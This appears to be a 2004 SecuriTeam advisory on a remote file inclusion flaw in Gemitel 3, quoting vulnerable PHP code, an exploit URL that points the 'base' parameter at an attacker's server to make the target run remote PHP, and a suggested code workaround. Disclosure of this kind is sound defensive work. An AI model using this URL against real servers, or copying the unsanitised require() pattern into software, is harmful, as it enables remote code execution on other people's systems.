[UNIX] Gimtel File Inclusion Vulnerability

From: SecuriTeam (support_at_securiteam.com)
Date: 04/18/04

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    To: list@securiteam.com
Date: 18 Apr 2004 17:30:23 +0200

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      Gimtel File Inclusion Vulnerability
    ------------------------------------------------------------------------

    SUMMARY

     <http://www.isesam.com/> Gemitel is "a free software written in PHP that
    allows to manage micro payments like allopass, mediapaiement,
    optelo-Sponsup or Rentabiliweb". A vulnerability in the product allows
    remote attackers to include external PHP files, followed by their
    execution by the web server.

    DETAILS

    Vulnerable Systems:
     * Gemitel version 3 build 50

    Vulnerable code:
    In the file /html/affich.php, the following code can be seen:
    $f_inc=$base."sp-turn.php";
    $plus = "../"; // rajoute au chemin pour trouver les fichiers .txt
    require("$f_inc");
    //require("sp-turn.php");

    This means that we can tell (by modifying the $base value) the PHP
    interpreter to include a file that reside outside the server (i.e. on our
    server), and get that file executed under the privileges of the PHP
    interpreter.

    Exploit:
    Using the following URL: http://[vulnerable host]/[Gemitel
    folder]/html/affich.php?base=http://[your server]/ you can test whether
    you server is vulnerable.

    Temporary workaround:
    Replace:
    $f_inc=$base."sp-turn.php";
    $plus = "../"; // rajoute au chemin pour trouver les fichiers .txt
    require("$f_inc");
    //require("sp-turn.php");

    With:
    $f_inc=$base."sp-turn.php";
    $plus = "../"; // rajoute au chemin pour trouver les fichiers .txt
    if(file_exists($f_inc)){require("$f_inc");}
    //require("sp-turn.php");

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:webmaster@wulab.com> jaguar.

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